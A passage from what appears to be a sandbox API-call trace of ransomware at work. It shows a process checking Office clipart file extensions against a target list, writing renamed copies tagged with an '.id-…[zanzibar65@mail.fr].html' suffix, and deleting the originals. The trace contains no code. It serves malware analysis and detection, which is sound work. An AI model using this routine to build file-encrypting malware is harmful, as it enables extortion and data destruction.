(lpString=".zip") returned 4 [0048.873] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.873] lstrlenW (lpString=".rar") returned 4 [0048.873] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.873] lstrlenW (lpString=".bz2") returned 4 [0048.873] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.873] lstrlenW (lpString=".7z") returned 3 [0048.873] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0048.873] lstrlenW (lpString=".dbf") returned 4 [0048.873] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0048.873] lstrlenW (lpString=".1cd") returned 4 [0048.873] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0048.874] lstrlenW (lpString=".jpg") returned 4 [0048.874] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.874] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=4894) returned 1 [0048.874] CloseHandle (hObject=0x174) returned 1 [0048.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0048.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0048.874] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.874] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.875] GetLastError () returned 0x0 [0048.875] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x131e, lpOverlapped=0x0) returned 1 [0049.801] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1320, lpOverlapped=0x0) returned 1 [0049.802] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.802] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.802] SetEndOfFile (hFile=0x208) returned 1 [0049.938] CloseHandle (hObject=0x208) returned 1 [0049.938] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.938] SetEndOfFile (hFile=0x174) returned 1 [0049.939] CloseHandle (hObject=0x174) returned 1 [0049.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0050.183] lstrlenW (lpString=".doc") returned 4 [0050.184] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.184] lstrlenW (lpString=".docx") returned 5 [0050.184] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.184] lstrlenW (lpString=".pdf") returned 4 [0050.184] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.184] lstrlenW (lpString=".xls") returned 4 [0050.184] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.184] lstrlenW (lpString=".xlsx") returned 5 [0050.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.184] lstrlenW (lpString=".ppt") returned 4 [0050.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0050.184] lstrlenW (lpString=".zip") returned 4 [0050.184] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.184] lstrlenW (lpString=".rar") returned 4 [0050.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.184] lstrlenW (lpString=".bz2") returned 4 [0050.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.184] lstrlenW (lpString=".7z") returned 3 [0050.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0050.184] lstrlenW (lpString=".dbf") returned 4 [0050.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0050.184] lstrlenW (lpString=".1cd") returned 4 [0050.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0050.184] lstrlenW (lpString=".jpg") returned 4 [0050.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.240] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.248] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.273] GetLastError () returned 0x0 [0051.273] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0051.274] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0051.275] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.275] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.275] SetEndOfFile (hFile=0x1f8) returned 1 [0051.275] CloseHandle (hObject=0x1f8) returned 1 [0051.276] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.276] SetEndOfFile (hFile=0x170) returned 1 [0051.276] CloseHandle (hObject=0x170) returned 1 [0051.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0051.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0051.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0051.277] lstrlenW (lpString=".doc") returned 4 [0051.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.277] lstrlenW (lpString=".docx") returned 5 [0051.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.277] lstrlenW (lpString=".pdf") returned 4 [0051.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.277] lstrlenW (lpString=".xls") returned 4 [0051.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.277] lstrlenW (lpString=".xlsx") returned 5 [0051.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.277] lstrlenW (lpString=".ppt") returned 4 [0051.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0051.277] lstrlenW (lpString=".zip") returned 4 [0051.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.277] lstrlenW (lpString=".rar") returned 4 [0051.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.277] lstrlenW (lpString=".bz2") returned 4 [0051.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString=".7z") returned 3 [0051.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0051.278] lstrlenW (lpString=".dbf") returned 4 [0051.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0051.278] lstrlenW (lpString=".1cd") returned 4 [0051.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0051.278] lstrlenW (lpString=".jpg") returned 4 [0051.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.279] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=7540) returned 1 [0051.279] CloseHandle (hObject=0x170) returned 1 [0051.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0051.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0051.279] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.279] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.279] GetLastError () returned 0x0 [0051.279] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1d74, lpOverlapped=0x0) returned 1 [0051.281] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0051.282] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.282] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.282] SetEndOfFile (hFile=0x1f8) returned 1 [0051.282] CloseHandle (hObject=0x1f8) returned 1 [0051.282] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.282] SetEndOfFile (hFile=0x170) returned 1 [0051.283] CloseHandle (hObject=0x170) returned 1 [0051.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0051.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0051.284] lstrlenW (lpString=".doc") returned 4 [0051.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString=".docx") returned 5 [0051.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.284] lstrlenW (lpString=".pdf") returned 4 [0051.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString=".xls") returned 4 [0051.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.284] lstrlenW (lpString=".xlsx") returned 5 [0051.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.284] lstrlenW (lpString=".ppt") returned 4 [0051.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0051.284] lstrlenW (lpString=".zip") returned 4 [0051.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.284] lstrlenW (lpString=".rar") returned 4 [0051.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString=".bz2") returned 4 [0051.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString=".7z") returned 3 [0051.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0051.284] lstrlenW (lpString=".dbf") returned 4 [0051.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0051.284] lstrlenW (lpString=".1cd") returned 4 [0051.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0051.284] lstrlenW (lpString=".jpg") returned 4 [0051.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.285] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6632) returned 1 [0051.285] CloseHandle (hObject=0x170) returned 1 [0051.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0051.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0051.285] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.285] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.285] GetLastError () returned 0x0 [0051.285] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x19e8, lpOverlapped=0x0) returned 1 [0051.287] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0051.288] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.288] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.288] SetEndOfFile (hFile=0x1f8) returned 1 [0051.288] CloseHandle (hObject=0x1f8) returned 1 [0051.289] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.289] SetEndOfFile (hFile=0x170) returned 1 [0051.289] CloseHandle (hObject=0x170) returned 1 [0051.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0051.290] lstrlenW (lpString=".doc") returned 4 [0051.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".docx") returned 5 [0051.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.290] lstrlenW (lpString=".pdf") returned 4 [0051.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".xls") returned 4 [0051.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.290] lstrlenW (lpString=".xlsx") returned 5 [0051.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.290] lstrlenW (lpString=".ppt") returned 4 [0051.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0051.290] lstrlenW (lpString=".zip") returned 4 [0051.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.290] lstrlenW (lpString=".rar") returned 4 [0051.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".bz2") returned 4 [0051.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString=".7z") returned 3 [0051.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0051.291] lstrlenW (lpString=".dbf") returned 4 [0051.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0051.291] lstrlenW (lpString=".1cd") returned 4 [0051.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0051.291] lstrlenW (lpString=".jpg") returned 4 [0051.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.294] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2108) returned 1 [0051.294] CloseHandle (hObject=0x170) returned 1 [0051.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0051.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0051.295] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.295] GetLastError () returned 0x0 [0051.295] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x83c, lpOverlapped=0x0) returned 1 [0051.299] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x840, lpOverlapped=0x0) returned 1 [0051.300] ReadFile (in: hFile=0x170, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.300] WriteFile (in: hFile=0x1f8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.300] SetEndOfFile (hFile=0x1f8) returned 1 [0051.300] CloseHandle (hObject=0x1f8) returned 1 